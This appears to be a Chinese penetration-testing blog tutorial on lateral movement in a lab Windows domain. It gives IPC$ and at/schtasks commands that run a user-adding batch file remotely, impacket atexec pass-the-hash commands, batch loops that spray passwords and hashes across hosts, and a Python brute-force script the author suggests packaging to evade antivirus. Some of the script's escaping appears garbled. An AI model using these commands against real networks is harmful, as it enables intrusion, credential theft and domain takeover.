• 内网安全-域横向批量at&schtasks&impacket


    目录

    0x01 横向渗透明文传递

    1.1 渗透流程

    1.2 IPC技术

    1.3  [at] & [schtasks]

    1.3.1 假设已经找到DC的用户名密码(具体后面再详细讲),由于域控DC是Win2008R2(< Windows2012),可以使用at命令

    1.3.2 如果目标计算机>=Windows2012,需要使用schtasks命令

    0x02  横向渗透明文HASH传递atexec-impacket

    0x03  横向渗透明文HASH传递批量利用-综合

    3.1 websever登录,运行mimikatz,得到用户名密码

    3.2 用微软自带命令探测网段存活主机

     3.3 批量检测IP对应明文连接

    3.4 在jack-pc上运行mimikatz,获取到另一个账户密码

     3.5 接下来,可以使用新密码继续批量检测IP对应明文

    (四)横向渗透明文HASH传递批量利用-升级版

    脚本(最好写成多线程的)

    简单演示


    环境

    1. 2008 r2 webserver 域内web服务器
    2. 本地管理员账号密码: .\administraotr:admin!@#45
    3. 当前机器域用户密码: god\webadmin:admin!@#45
    4. 2003 x86 fileserver 域内文件服务器
    5. 本地管理员账号密码:administrator:admin
    6. 当前机器域用户密码: god\fileadmin:Admin12345
    7. 2008 r2 x64 dc god.org 主域控机器
    8. 域管账号密码: God\administrator:Admin12345
    9. 2012 sqlserver 域内数据库服务器
    10. 本地管理员账号密码:.\administrator:admin!@#45
    11. 当前机器域用户密码:god\dbadmin:admin!@#45
    12. w7 x64 mary-pc 域内个人机
    13. 本地管理员账号密码:.\mary:admin
    14. 当前机器域用户密码:god\mary:admin!@#45
    15. w8.1 x64 jack-pc 域内个人机
    16. 本地管理员账号密码:.\jack:admin
    17. 当前机器域用户密码:god\boss:Admin12345

    0x01 横向渗透明文传递


    在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令的使用,在已知目标系统的用户明文密码的基础上,直接可在远程主机上执行命令

    1.1 渗透流程

    获取到某域主机权限-> minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

    1.2 IPC技术

    IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管理计算机和查看计算机的共享资源时使用

    连接命令

    1. net use \\server\ipc$"password" /user:username # 工作组
    2. net use \\server\ipc$"password" /user:domain\username #域内
    3. dir \\xx.xx.xx.xx\C$\ # 查看文件列表
    4. copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
    5. copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
    6. net use \\xx.xx.xx.xx\C$\1.bat /del # 删除文件
    7. net use \\xx.xx.xx.xx\ipc$ \del # 删除IPC
    8. net view xx.xx.xx.xx # 查看对方共享

     建立IPC常见的错误代码

    1. 5:拒绝访问,可能是使用的不是管理员权限,需要先提升权限
    2. 51:网络问题,windoows无法找到网络路径
    3. 53:找不到网站路径,可能是IP地址错误,目标未开机,目标Lanmanserver服务未启动、有防火墙等问题
    4. 67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
    5. 1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
    6. 1326:账号密码错误
    7. 1792:目标NetLogon服务未启动,连接域控常常会出现此情况
    8. 2242:用户密码过期,目标有账号策略,强制定期更改密码

    建立IPC失败的原因

    1. 目标系统不是NT或以上的操作系统
    2. 对方没有打开IPC$共
    3. 对方未开启139,445端口,或者被防火墙屏蔽
    4. 输出命令,账号密码有错误

    1.3  [at] & [schtasks]

    1. #at < Windows2012
    2. net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
    3. copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器
    4. at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
    5. schtasks >=Windows2012
    6. net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
    7. copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
    8. schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
    9. schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
    10. schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务
    • 获取到DC的IP地址。执行以下两个命令时,需要域用户登录,而不是本地用户登录

     

    1.3.1 假设已经找到DC的用户名密码(具体后面再详细讲),由于域控DC是Win2008R2(< Windows2012),可以使用at命令


    1. net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
    2. copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器
    3. at \\192.168.3.21 15:47 c:\add.bat #添加计划任务

     具体操作

     

    • 一段时候后,xiaodi用户就自动添加成功了

    1.3.2 如果目标计算机>=Windows2012,需要使用schtasks命令


    • 比如前期信息收集得到了sqlserver的用户名密码,SqlServer是window2012系统

    • 如下图,当使用域用户登录时,copy是失败的,原因是权限不够,应该使用本地用户登录

     

    • 使用本地用户登录,执行如下命令
    1. net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
    2. copy add.bat \\192.168.3.32\c$ #复制文件到其C盘
    3. schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件
    4. schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务
    5. schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务
    • 等待一段时间,成功添加新用户
    1. net user 查看用户中是否多了一个xiaodi
    2. net user xiaodi 查看xiaodi账户创建时间是否为刚才计划任务的时间
    3. net user xiaodi /del 不需要了的话可以删除

    0x02  横向渗透明文HASH传递atexec-impacket


    1. atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
    2. atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
    3. atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

    执行命令,直接提权

     查看权限

    0x03  横向渗透明文HASH传递批量利用-综合


    1. FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
    2. FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版
    3. FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
    4. FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版

    3.1 websever登录,运行mimikatz,得到用户名密码


    内网安全-域环境&工作组&局域网探针方案__Cyber的博客-CSDN博客

     

    3.2 用微软自带命令探测网段存活主机


    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自带内部命令(推荐使用)
    

     3.3 批量检测IP对应明文连接


    FOR /F %%i in (ips.txt) do net use \%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
    

    发现网段内另一台主机192.168.3.29(jack-pc)与webserver用了相同的账户密码,并且可以直接提权到system权限。

    3.4 在jack-pc上运行mimikatz,获取到另一个账户密码


     3.5 接下来,可以使用新密码继续批量检测IP对应明文


    FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版

    执行at_ip.bat,发现192,.168.3.21也用了该密码,而它正好就是域控!

    •  或者可以采用另一种方法,由于此时我们已经拿到了2个真实的账号密码,可以写一个字典表,直接去探测域控。
    1. FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版
    2. FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH对应IP回显版

    执行at_ip.bat,找到了域控192,.168.3.21的密码!直接提权!

    当然,这是我们测试环境,实战中一般没这么快,至少需要很多轮的信息收集,才能逐渐靠近域控

    (四)横向渗透明文HASH传递批量利用-升级版


    前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典能拿到flag

    net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin

    在3中都是批处理命令,只能遍历一个变量,如果想要遍历多个变量,比如IP、用户名、密码等,可以写python脚本,免杀,使用Pyinstaller打包成exe文件,上传到目标机器运行。

    脚本(最好写成多线程的)

    1. import os,time
    2. ips={
    3. '192.168.3.21',
    4. '192.168.3.25',
    5. '192.168.3.29',
    6. '192.168.3.30',
    7. '192.168.3.31',
    8. '192.168.3.33'
    9. }
    10. users={
    11. 'Administrator',
    12. 'boss',
    13. 'dbadmin',
    14. 'fileadmin',
    15. 'mack',
    16. 'mary',
    17. 'vpnadm',
    18. 'webadmin'
    19. }
    20. passs={
    21. 'admin',
    22. 'admin!@#45',
    23. 'Admin12345'
    24. }
    25. for ip in ips:
    26. for user in users:
    27. for mima in passs:
    28. exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
    29. print('--->'+exec+'<---')
    30. os.system(exec)
    31. time.sleep(1)

    编译

    1. pip install pyinstaller
    2. pyinstaller -F fuck_neiwang_001.py 生成可执行EXE

    简单演示

    1、首先,查看网络连接,此时结果是空的,没有连接;然后运行exe文件,结束后再次查看网络连接,发现连接上了5台主机

    2、接下来,拷贝执行文件到目标主机,执行at或者schtasks命令创建任务即可

     

  • 相关阅读:
    python3-python中的多任务处理利器-协程的使用(一),asyncio模块的使用
    PLC面向对象编程系列之双通气缸功能块(SMART梯形图)
    VulnHub Alice
    Prototype
    Java多线程学习笔记
    MySQL笔记2(函数,约束,多表查询,事务)
    Vue事件修饰符
    CTFshow-命令执行
    二轴机器人大米装箱机:推动行业持续发展
    Kubernetes笔记-部署安装指南
  • 原文地址:https://blog.csdn.net/m0_61506558/article/details/127457361